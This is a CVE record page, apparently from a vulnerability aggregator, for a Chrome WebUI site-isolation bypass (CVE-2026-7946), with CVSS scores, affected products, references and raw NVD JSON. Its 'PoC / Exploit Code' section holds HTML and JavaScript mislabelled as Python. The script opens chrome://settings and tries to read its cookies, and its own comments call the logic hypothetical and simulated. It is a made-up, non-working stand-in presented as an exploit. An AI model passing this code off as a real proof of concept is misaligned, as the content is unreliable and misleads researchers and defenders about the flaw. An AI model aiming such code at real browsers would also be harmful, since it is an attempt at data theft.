CVE-2026-7946

Description

Insufficient policy enforcement in WebUI in Google Chrome on Linux, Mac, Windows, ChromeOS prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:google:chrome_os:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 148.0.7778.96

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-7946 -->
<!-- This PoC demonstrates bypassing site isolation in WebUI -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-7946 PoC</title>
</head>
<body>
    <script>
        // Attempt to access restricted WebUI context
        // This requires a compromised renderer process context
        try {
            // Simulate the crafted HTML page logic
            var targetWindow = window.open('chrome://settings');
            
            setTimeout(function() {
                if (targetWindow) {
                    console.log("Attempting to bypass isolation...");
                    // Hypothetical exploit logic to access sensitive data
                    // exploiting the insufficient policy enforcement
                    try {
                        var sensitiveData = targetWindow.document.cookie;
                        alert("Site isolation bypass successful. Data: " + sensitiveData);
                    } catch (e) {
                        console.log("Direct access blocked, trying alternative vector...");
                    }
                }
            }, 1000);
        } catch (e) {
            console.error("Exploit failed: " + e.message);
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7946
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7946
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7946/
[4] VulDB https://vuldb.com/cve/CVE-2026-7946
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html
[6] https://issues.chromium.org/issues/496016840

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-7946", "sourceIdentifier": "[email protected]", "published": "2026-05-06T19:16:42.927", "lastModified": "2026-05-08T20:16:32.850", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in WebUI in Google Chrome on Linux, Mac, Windows, ChromeOS prior to 148.0.7778.96 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "148.0.7778.96", "matchCriteriaId": "5E9416A8-4333-4195-983C-78F521AF6245"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:google:chrome_os:-:*:*:*:*:*:*:*", "matchCriteriaId": "D32ACF6F-5FF7-4815-8EAD-4719F5FC9B79"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/496016840", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}